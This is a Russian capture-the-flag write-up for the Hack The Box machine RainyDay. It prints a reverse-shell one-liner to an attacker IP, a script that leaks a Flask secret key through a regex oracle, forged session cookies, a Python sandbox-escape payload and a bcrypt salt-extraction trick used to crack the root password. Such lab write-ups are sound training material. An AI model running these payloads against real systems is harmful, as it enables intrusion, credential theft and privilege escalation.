Хакер - HTB RainyDay. Эксплуатируем API и брутим «соленый» пароль
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Пользователь jack
- Пользователь jack_adm
- Локальное повышение привилегий
В этом райтапе я покажу, как можно проэксплуатировать уязвимость в API веб‑приложения, чтобы получить доступ к хосту. Затем выйдем из песочницы Python и покопаемся в криптографии, чтобы получить критически важные данные и повысить привилегии в системе.
Нашей целью будет захват учебной машины RainyDay с площадки Hack The Box. Ее уровень — сложный.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.184 rainyday.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашлось два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. На SSH нам пока заходить рано, поскольку учетных данных у нас нет (а перебирать их на машине с HTB не предполагается).
В заголовке ответа веб‑сервера Nmap нашел поле http-title, которое сообщает о редиректе на адрес rainycloud.htb. Поэтому изменим запись в файле /etc/hosts и обратимся к новому сайту через браузер.
10.10.11.184 rainyday.htb rainycloud.htb

ТОЧКА ВХОДА
Давай построим карту сайта в Burp Suite, чтобы лучше ориентироваться. Для этого выбираем любой запрос к целевому сайту и в контекстном меню кликаем Engagement tool → Discovery content. После окончания сканирования на вкладке Site map увидим что‑то похожее на скрин ниже.

Когда Burp Suite строит карту, он не только сканирует каталоги и файлы, но и собирает ссылки и переходит по ним. Так как не происходит сканирования поддоменов, то выполним его с помощью ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-u— URL;-w— словарь (я использую словари из набора SecLists);-H— дополнительный HTTP-заголовок;-t— количество потоков;-fs— фильтр, исключающий страницы по размеру.
ffuf -u 'http://rainycloud.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229

Добавляем новый домен в файл /etc/hosts.
10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb
Но сайт на новом домене нам недоступен, о чем говорит код ответа 403. Зато на карте сайта есть интересная страница /api/.

Эндпоинт /api/list показывает нам единственный существующий образ Docker.

Еще мы можем запросить URL вида /api/user/<id>, чтобы получить информацию о пользователе. Немного поиграв с форматом id, я получил три имени пользователя и хеши их паролей.



ТОЧКА ОПОРЫ
Найденные хеши были созданы алгоритмом bcrypt, который устойчив к перебору, — работа hashcat заняла около 25 минут. Для перебора bcrypt нужно использовать режим 3200 (параметр -m).
hashcat -m 3200 hashes.txt rockyou.txt

С найденным паролем авторизуемся на сайте и получаем возможность создать контейнер Docker.

Создаем новый контейнер, и нам открывается панель управления контейнером.

Внутри контейнера можно выполнять команды, поэтому получим реверс‑шелл. В качестве листенера я использую pwncat. Так как реверс‑шелл должен висеть долго, выполняем команду в фоновом режиме:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/sh")'
Получаем сессию и проверяем внутреннюю сеть.

ПРОДВИЖЕНИЕ
Пользователь jack
Загрузим на хост статически собранный Nmap и найдем другие хосты (контейнеры) в сети.
./nmap -sn 172.18.0.0/24

Дальше ничего сделать не удалось, но вспоминаем про еще один, ранее недоступный сайт на поддомене dev. Нужно снова проверить его доступность, так как теперь мы можем обратиться к нему из внутренней сети. Чтобы получить доступ к этому сайту, нужно построить туннель. Для этого будем использовать chisel. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8000 (параметр -p).
chisel.bin server -p 8000 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также маршрут туннеля: локальный порт 8888 будет вести на порт 80 хоста 172.18.0.1.
./chisel.bin client 10.10.14.17:8000 R:8888:172.18.0.1:80
В логах сервера мы должны увидеть сообщение о создании новой сессии. Теперь остается изменить запись dev.rainycloud.htb в файле /etc/hosts на локальный хост и обратиться к сайту.
127.0.0.1 dev.rainycloud.htb

И сайт доступен! Причем это dev-версия того сайта, с которым мы уже работали, поэтому сразу переходим к знакомому API.
curl http://dev.rainycloud.htb:8888/api/healthcheck | jq

В ответе представлены варианты проверки файлов. Так как первые три варианта привязаны к файлам определенных типов, нам более важен последний тип, в котором можно задать паттерн. Повторим последний вариант со следующими параметрами:
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/etc/passwd&type=custom&pattern=^root.*' | jq

Сервис ответил, что в файле /etc/passwd есть последовательность, которая соответствует паттерну ^root.*. Значит, мы можем не только проверять существование того или иного файла, но и вытягивать из них строки. Так, первая справка раскрыла путь к каталогу сайта /var/www/rainycloud/, и я перебрал несколько вариантов имен файлов, которые могут содержать секрет Flask. В итоге получаем верный ответ для файла secrets.py.
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/var/www/rainycloud/secrets.py&type=custom&pattern=^SECRET_K
EY.*' | jq

Теперь можно автоматизировать посимвольное получение секрета. Для этого к верному паттерну нужно подставлять разные символы и, если ответ верный, изменять паттерн дальше. Для этого я накидал следующий код:
import requests
import json
sess = requests.Session()
secret = "SECRET_KEY"
while True:
for c in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/="'.':
try:
r = sess.post('http://dev.rainycloud.htb:8888/api/healthcheck', {
'file': '/var/www/rainycloud/secrets.py',
'type': 'custom',
'pattern': "^" + secret + c + ".*"
}, cookies={'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA'})
if json.loads(r.content)['result']:
secret += c
print(secret)
break
except Exception:
pass

Таким образом мы получаем секрет Flask и можем подделать сессию любого пользователя. Сначала с помощью flask-session-cookie-manager расшифруем данные, передаваемые в cookie.
python3 flask_session_cookie_manager3.py decode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -c eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA

А теперь изменим имя пользователя и сделаем новый идентификатор сессии.
python3 flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t "{'username': 'jack'}"

Заменяем куки в браузере, обновляем страницу и получаем контейнеры пользователя jack.

Уже знакомым методом попадаем внутрь контейнера и проводим разведку. Скрипты для перечисления системы ничего мне особо не дали, поэтому я решил отследить запускаемые процессы с помощью pspy64.

В логах видим использование SSH-агента, а затем продолжительный сон. Мне это показалось странным. Зная идентификатор процесса, мы можем осмотреться в его окружении. Так находим примонтированный каталог с приватным SSH-ключом пользователя.

Подключаемся уже к основному хосту и забираем первый флаг.

Пользователь jack_adm
Нам снова нужно собрать информацию, и на этот раз скрипт PEASS навел меня на правильный путь — настройки sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

Пользователь jack может выполнить команду /usr/bin/safe_python * от имени пользователя jack_adm без ввода пароля. Этот файл запустит скрипт на Python в урезанном режиме. А значит, нам нужно выйти из песочницы Python. Попробовав несколько нагрузок из своей коллекции, я нашел подходящую. Давай разберем, как она работает.
Первым делом в коде нам нужно добраться до класса object. Для этого мы воспользуемся таким свойством языка Python, как MRO (method resolution order) — порядок разрешения методов. Когда мы ищем атрибут в классе, который участвует в множественном наследовании, соблюдается определенный порядок. Сначала атрибут ищется в текущем классе. Если ничего не найдено, поиск переходит к родительским классам. Этот порядок называется линеаризацией класса, а набор применяемых правил называется как раз порядком разрешения метода (MRO). Для получения MRO класса можно использовать атрибут __mro__. В качестве класса возьмем, к примеру, кортеж.
().__class__.__mro__[1]

Когда мы не можем импортировать нужные модули, так как это запрещено, мы должны использовать только собственные встроенные функции Python. Встроенные функции, не предполагающие непосредственного использования, автоматически вводятся в среду с помощью встроенного модуля builtins. А уже через этот модуль можно получить доступ к замороженному модулю — скомпилированному байт‑коду для работы без предустановленного интерпретатора Python. В нем нас больше всего интересует класс BuiltinImporter.
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]

Получив доступ к классу BuiltinImporter, можно использовать функцию load_module для непосредственной загрузки встроенного модуля builtins. Из него мы уже сможем смело импортировать нужные нам модули и использовать определенные функции. К примеру, функцию system из модуля os.
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("whoami")

А теперь вместо whoami используем команду, которая позволит нам получить интерактивную командную оболочку. Записываем команду в файл и исполняем этот файл через safe_python на целевом хосте.
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i")
sudo -u jack_adm /usr/bin/safe_python /tmp/test.py

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Снова перекапывать всю систему смысла нет, а вот проверить настройки sudoers в изменившемся контексте необходимо.
sudo -l

Мы можем запустить скрипт /opt/hash_system/hash_password.py от имени рута. Запускаем команду для теста, и нас просят ввести пароль.

В ответе получаем хеш bcrypt. Интересно, что если попробовать его пробрутить, то его прообразом не будет введенная нами строка test. Скорее всего, при хешировании используется соль. Но просмотреть скрипт мы не можем.

Так как мы на первоначальном этапе получили хеш пароля рута, возникло предположение, что если найти соль, то можно будет пробрутить и «соленый» пароль рута. Давай попробуем ввести пустой пароль, чтобы хеш вычислялся только из соли.

Но получаем ошибку, так как проверяется длина введенного пароля. Долго искать решение задачи не пришлось — я уже видел похожую идею в одном CTF. Дело в том, что bcrypt — это хеш, у которого максимальный размер хешируемой строки составляет 72 байта. То есть все байты после 72-го будут отсечены. Таким образом, мы могли бы ввести 71 известный нам байт, а 72-й — это первый символ добавленной соли. Затем мы перебираем этот единственный символ и задаем уже строку из 70 байт. Теперь будет добавлено два символа соли, один из которых мы знаем, и останется перебрать второй. Таким способом мы постепенно вытягиваем всю строку‑соль.
H1 = 72*'A'
H2 = 71*'A' + S[0]
H3 = 70*'A' + S[0] + S[1]
В этой задаче есть одно усложнение — регламентированная длина строки до 30 символов включительно. Здесь стоит проявить смекалку. Заметь, что хешируется строка до 72-го байта, а проверяется строка до 30 символов. Таким образом, если мы будем использовать кодировку, где каждый символ обозначается 3 байтами, то в 30 символах мы сможем передать аж 90 байт!
Чтобы найти такие символы, можно воспользоваться таблицей. Я взял символ ェ.

Копируем из таблицы выбранный символ и передаем в качестве пароля строку из 24 таких символов.

Получаем хеш и проверяем наше предположение. Для этого записываем введенную строку в файл и передаем его в качестве словаря для перебора.
hashcat -m 3200 hash.txt wordlist.txt

В итоге строка была обнаружена, и мы можем начать вытягивать соль. Передаем программе строку из 23 символов ェ и двух обычных букв A. Так длина строки составит 25 символов, но 71 байт.

Теперь составим словарь для полученного хеша. Для этого к введенной нами строке добавим по очереди все возможные символы и запишем в словарь.
s = 'ェェェェェェェェェェェェェェェェェェェェェェェAA'
for i in range(0,255):
print(s + chr(i))
Составленный список передаем в hashcat и отправляем хеш на брут.
hashcat -m 3200 hash.txt wordlist.txt

И получаем первый символ соли — H. Теперь повторяем наш трюк и передаем программе 24 символа (71 байт).

Теперь обновляем наш список для перебора. Мы знаем первый символ соли, второй будем перебирать.
s = 'ェェェェェェェェェェェェェェェェェェェェェェェAH'
for i in range(0,255):
print(s + chr(i))
hashcat -m 3200 hash.txt wordlist.txt

У нас уже есть два символа соли. Продолжаем дальше получать по одному символу. Я перейду сразу к последней итерации, где мы уже получили всю соль (H34vyR41n). Так как последний символ будет 0 байт, hashcat отобразит прообраз в шестнадцатеричном виде.
s = 'ェェェェェェェェェェェェェェェェェェェェAAH34vyR41n'
for i in range(0,255):
print(s + chr(i))

Переходим к бруту хеша пароля рута. Возьмем словарь rockyou.txt и добавим соль к каждому слову.
sed 's/$/H34vyR41n/' rockyou.txt > new_rockyou.txt
Отправляем хеш на перебор по новому словарю и спустя некоторое время получаем пароль!
hashcat -m 3200 hash.txt wordlist.txt

Через su меняем пользователя в системе и авторизуемся как root с паролем 246813579.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei